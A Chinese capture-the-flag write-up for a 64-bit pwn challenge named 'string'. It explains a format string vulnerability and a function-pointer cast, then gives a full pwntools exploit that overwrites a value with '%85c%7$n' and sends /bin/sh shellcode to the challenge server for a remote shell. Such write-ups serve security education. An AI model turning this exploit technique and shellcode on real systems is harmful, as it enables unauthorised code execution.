文件下載地址:
鏈接:https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A
提取碼:pye1
0x01.分析
checksec:
64位程序,只有ASLR沒有開啓。
查看源碼:
理清程序流程:
- 進入程序後,首先跳轉到第一個有用的函數是400D72。
- 要求輸入一個名字,長度要小於13。
- 然後進入400A7D,發現輸入east可以返回。
- 接着進入400BB9,發現有多個輸入,並且明顯看到了格式化字符串漏洞。
- 進入400CA6,發現了將字符強制轉換爲函數指針的代碼。
- 沒有存在其它有用的代碼了。
尋找並利用漏洞:
- 最明顯的漏洞就是將v1強制轉化爲函數指針,這樣程序就會去執行v1上的指令,如果我們使用一段shellcode,那麼我們就可以得到shell。
2.我們回溯去找執行這段代碼的條件是*a=a[1],我們不斷回去找,發現,a其實就是v3,*a=68,a[1]=85,程序中間沒有任何修改這兩個值的地方,很明顯是完全不相等的。但我們發現主函數中打印出了a的地址,還有a[1]的地址。
3.說明我們一定要利用這個地址去修改v3[0]的值。
4.在查看源碼的時候,發現,有一個函數存在格式化字符串漏洞,剛好利用這個漏洞去修改v3的值。
5.首先需要確定偏移量,由於是64位程序,前6個參數從左到右存入寄存器,多餘的才存入棧,所以我們最好不要把v3的地址放在格式化字符串中,因爲有可能就被存入寄存器了,我們也可以用一個和地址相同長度的字符去嘗試一下,一定要相同長度,不然無法確定,會發現在接下來的地址沒有找到,所以我們肯定不能把v3的地址放在格式化字符串中,但前面有一個變量,可以存入長整型,我們就可以把地址存入前面的v2,然後測試一下偏移,如下:
可以看出,偏移量是7,於是我們可以開始構造腳本了。
0x03.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47547)
#r=process('./string')
#context.log_level = "debug"
r.recvuntil("secret[0] is ")
v3_0_addr=int(r.recv(7),16)
print(v3_0_addr)
r.sendlineafter("What should your character's name be:","ATFWUS")
r.sendlineafter("So, where you will go?east or up?:","east")
r.sendlineafter("go into there(1), or leave(0)?:","1")
r.sendlineafter("'Give me an address'",str(v3_0_addr))
payload="%85c%7$n"
#gdb.attach(r)
r.sendlineafter("And, you wish is:",payload)
#shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode=asm(shellcraft.amd64.sh(),arch="amd64")
r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
r.interactive()